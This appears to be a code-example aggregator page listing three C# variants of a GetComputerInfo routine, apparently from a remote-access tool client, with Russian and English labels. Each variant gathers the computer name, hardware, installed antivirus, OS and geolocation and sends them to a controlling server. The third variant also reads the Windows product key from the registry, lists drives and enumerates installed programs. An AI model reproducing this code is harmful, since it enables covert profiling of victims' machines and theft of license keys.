//Gets computer information
        private void GetComputerInfo()
        {
            string        ListString       = "";
            List <string> ComputerInfoList = new List <string>();

            try
            {
                ComputerInfo.GetGeoInfo();
            }
            catch { }

            ComputerInfoList.Add("Имя компьютера: " + ComputerInfo.GetName());
            ComputerInfoList.Add("ЦП: " + ComputerInfo.GetCPU());
            ComputerInfoList.Add("Видеокарта: " + ComputerInfo.GetGPU());
            ComputerInfoList.Add("Объём оперативной памяти (Мб): " + ComputerInfo.GetRamAmount());
            ComputerInfoList.Add("Антивирус: " + ComputerInfo.GetAntivirus());
            ComputerInfoList.Add("Операционная система: " + ComputerInfo.GetWindowsVersion());
            ComputerInfoList.Add("Страна: " + ComputerInfo.GetCountry());
            ComputerInfoList.Add("Регион: " + ComputerInfo.GetRegionName());
            ComputerInfoList.Add("Город: " + ComputerInfo.GetCity());
            foreach (string Info in ComputerInfoList.ToArray())
            {
                ListString += "," + Info;
            }
            List <byte> ToSend = new List <byte>();

            ToSend.Add((int)DataType.InformationType);
            ToSend.AddRange(Encoding.UTF8.GetBytes(ListString));
            Networking.MainClient.Send(ToSend.ToArray());
        }
Пример #2
0
        //Gets computer information
        private void GetComputerInfo()
        {
            string        ListString       = "";
            List <string> ComputerInfoList = new List <string>();

            try
            {
                ComputerInfo.GetGeoInfo();
            }
            catch { }

            ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName());
            ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU());
            ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU());
            ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount());
            ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus());
            ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion());
            ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country);
            ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName);
            ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City);
            foreach (string Info in ComputerInfoList.ToArray())
            {
                ListString += "," + Info;
            }
            List <byte> ToSend = new List <byte>();

            ToSend.Add((int)DataType.InformationType);
            ToSend.AddRange(Encoding.ASCII.GetBytes(ListString));
            Networking.MainClient.Send(ToSend.ToArray());
        }
Пример #3
0
        //Gets computer information
        private void GetComputerInfo()
        {
            RegistryKey key;

            key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall");

            string        ListString       = "";
            List <string> ComputerInfoList = new List <string>();

            try
            {
                ComputerInfo.GetGeoInfo();
            }
            catch { }

            ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName());
            ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU());
            ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU());
            ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount());
            ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus());
            ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion());
            ComputerInfoList.Add("Ключ активации: " + ComputerInfo.GetWindowsProductKeyFromRegistry());
            ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country);
            ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName);
            ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City);

            foreach (var drive in DriveInfo.GetDrives())
            {
                try
                {
                    ComputerInfoList.Add("Имя диска: " + drive.Name);
                    ComputerInfoList.Add("Файловая система: " + drive.DriveFormat);
                    ComputerInfoList.Add("Тип диска: " + drive.DriveType);
                    ComputerInfoList.Add("Объем доступного свободного места (в байтах): " + drive.AvailableFreeSpace);
                    ComputerInfoList.Add("Готов ли диск: " + drive.IsReady);
                    ComputerInfoList.Add("Корневой каталог диска: " + drive.RootDirectory);
                    ComputerInfoList.Add("Общий объем свободного места, доступного на диске (в байтах): " + drive.TotalFreeSpace);
                    ComputerInfoList.Add("Размер диска (в байтах): " + drive.TotalSize);
                    ComputerInfoList.Add("Метка тома диска: " + drive.VolumeLabel);
                }
                catch { }
            }
            ComputerInfoList.Add("Установленные программы:");
            string program = "";

            foreach (String keyName in key.GetSubKeyNames())
            {
                RegistryKey subkey = key.OpenSubKey(keyName);
                program = subkey.GetValue("DisplayName") as string;
                try
                {
                    if (program.Length != 0)
                    {
                        ComputerInfoList.Add(program);
                    }
                } catch { }
            }
            foreach (string Info in ComputerInfoList.ToArray())
            {
                ListString += "," + Info;
            }
            List <byte> ToSend = new List <byte>();

            ToSend.Add((int)DataType.InformationType);
            ToSend.AddRange(Encoding.UTF8.GetBytes(ListString));
            Networking.MainClient.Send(ToSend.ToArray());
        }